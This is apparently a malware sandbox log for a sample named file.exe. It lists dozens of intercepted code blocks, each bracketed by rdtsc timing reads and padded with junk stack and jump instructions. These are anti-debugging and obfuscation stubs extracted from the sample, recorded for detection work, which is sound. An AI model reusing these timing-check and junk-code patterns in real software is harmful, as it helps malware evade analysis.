Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC82F second address: 10EC8B6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD6B8875BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FD6B8875BC8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FD6B8875BCFh 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FD6B8875BC8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 jmp 00007FD6B8875BCEh 0x00000039 push 0000001Eh 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007FD6B8875BC8h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 0000001Bh 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 jmp 00007FD6B8875BCCh 0x0000005a nop 0x0000005b push eax 0x0000005c push edx 0x0000005d push esi 0x0000005e push edi 0x0000005f pop edi 0x00000060 pop esi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC8B6 second address: 10EC8C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD6B878EDA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC9D9 second address: 10EC9DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC9DD second address: 10EC9E7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD6B878EDA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11392D8 second address: 1139309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jg 00007FD6B8875BD2h 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD6B8875BD5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1139309 second address: 1139320 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD6B878EDADh 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D776 second address: 113D785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 je 00007FD6B8875BCEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140702 second address: 1140728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B878EDAEh 0x00000009 jmp 00007FD6B878EDB4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140421 second address: 1140427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140427 second address: 1140459 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FD6B878EDC0h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11442F3 second address: 114430F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCFh 0x00000007 jc 00007FD6B8875BC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143F89 second address: 1143FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B878EDB0h 0x00000009 jnl 00007FD6B878EDA8h 0x0000000f popad 0x00000010 push edx 0x00000011 jc 00007FD6B878EDB2h 0x00000017 jno 00007FD6B878EDA6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A732 second address: 114A738 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A738 second address: 114A73D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A73D second address: 114A74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A74B second address: 114A75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FD6B878EDAAh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A75A second address: 114A774 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD6B8875BCAh 0x00000008 je 00007FD6B8875BD2h 0x0000000e js 00007FD6B8875BC6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149480 second address: 1149488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149A2D second address: 1149A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 jl 00007FD6B8875BF3h 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FD6B8875BC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A479 second address: 114A48B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FD6B878EDA8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A48B second address: 114A49F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A49F second address: 114A4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F191 second address: 114F19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F19C second address: 114F1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F1A0 second address: 114F1A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F1A4 second address: 114F1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD6B878EDB4h 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F1C1 second address: 114F1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E797 second address: 114E7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD6B878EDA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E7A1 second address: 114E7CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCDh 0x00000007 jmp 00007FD6B8875BD9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E7CB second address: 114E7D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115209D second address: 11520B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD6B8875BC6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d jns 00007FD6B8875BCCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11520B6 second address: 11520BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8FBD second address: 10A900F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FD6B8875BC6h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jmp 00007FD6B8875BD9h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007FD6B8875BD2h 0x00000020 jne 00007FD6B8875BD2h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A900F second address: 10A9017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9017 second address: 10A901B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151AAD second address: 1151AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD6B878EDB1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151DA5 second address: 1151DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115977E second address: 1159792 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD6B878EDACh 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159792 second address: 1159796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11579CE second address: 11579EA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD6B878EDA6h 0x00000008 jmp 00007FD6B878EDAFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157DE2 second address: 1157DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11580BC second address: 11580DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11580DA second address: 11580DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11583A0 second address: 11583B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B878EDACh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11583B5 second address: 11583C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 js 00007FD6B8875BC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115865A second address: 115867B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FD6B878EDAFh 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jng 00007FD6B878EDA6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161FEA second address: 1161FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162134 second address: 116213E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD6B878EDACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11623E5 second address: 11623EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162585 second address: 116258C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11627E7 second address: 11627EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11627EF second address: 11627F9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD6B878EDACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116299A second address: 11629A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FD6B8875BD0h 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11696F3 second address: 11696F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11696F8 second address: 116970D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCDh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116970D second address: 1169711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169B80 second address: 1169B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169B84 second address: 1169B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169B8A second address: 1169BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169BA0 second address: 1169BCD instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD6B878EDC1h 0x00000008 jc 00007FD6B878EDAEh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169D1F second address: 1169D24 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169E9F second address: 1169EA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169EA3 second address: 1169EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B8875BD8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FD6B8875BD7h 0x00000012 jmp 00007FD6B8875BD9h 0x00000017 pushad 0x00000018 js 00007FD6B8875BC6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A03E second address: 116A042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A464 second address: 116A470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jno 00007FD6B8875BC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171736 second address: 117173A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117173A second address: 1171754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FD6B8875BD0h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11718C2 second address: 11718CC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD6B878EDA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11718CC second address: 117191F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD6B8875BD7h 0x0000000b push edi 0x0000000c jmp 00007FD6B8875BD0h 0x00000011 jmp 00007FD6B8875BD8h 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD6B8875BCAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11733D0 second address: 11733DA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD6B878EDA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175BE6 second address: 1175BF6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jg 00007FD6B8875BC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175BF6 second address: 1175C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FD6B878EDAEh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175A43 second address: 1175A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B8875BD9h 0x00000009 pushad 0x0000000a jmp 00007FD6B8875BCEh 0x0000000f jp 00007FD6B8875BC6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177325 second address: 1177339 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AAA52 second address: 10AAA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AAA56 second address: 10AAA5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AAA5A second address: 10AAA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180F4D second address: 1180F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11854D2 second address: 11854D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11854D6 second address: 11854FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FD6B878EDB8h 0x0000000c jnp 00007FD6B878EDA6h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11854FC second address: 1185515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD6B8875BD4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184E75 second address: 1184E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184E7F second address: 1184E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184E84 second address: 1184EC6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD6B878EDB3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD6B878EDB5h 0x00000011 jmp 00007FD6B878EDB4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185012 second address: 1185016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185016 second address: 1185030 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185030 second address: 1185036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185036 second address: 1185046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD6B878EDA6h 0x0000000a jno 00007FD6B878EDA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185046 second address: 118504A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11871EE second address: 1187201 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187201 second address: 118723B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCBh 0x00000007 jng 00007FD6B8875BCCh 0x0000000d jl 00007FD6B8875BC6h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007FD6B8875BD6h 0x0000001b push eax 0x0000001c push edx 0x0000001d jbe 00007FD6B8875BC6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E619 second address: 118E62C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD6B878EDAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11977CA second address: 11977D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11977D2 second address: 1197820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD6B878EDB9h 0x00000008 jnl 00007FD6B878EDA6h 0x0000000e jmp 00007FD6B878EDAFh 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 jmp 00007FD6B878EDB4h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push ecx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3090 second address: 10B3095 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119763F second address: 1197667 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB1h 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FD6B878EDA6h 0x0000000f jmp 00007FD6B878EDADh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AB13 second address: 119AB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
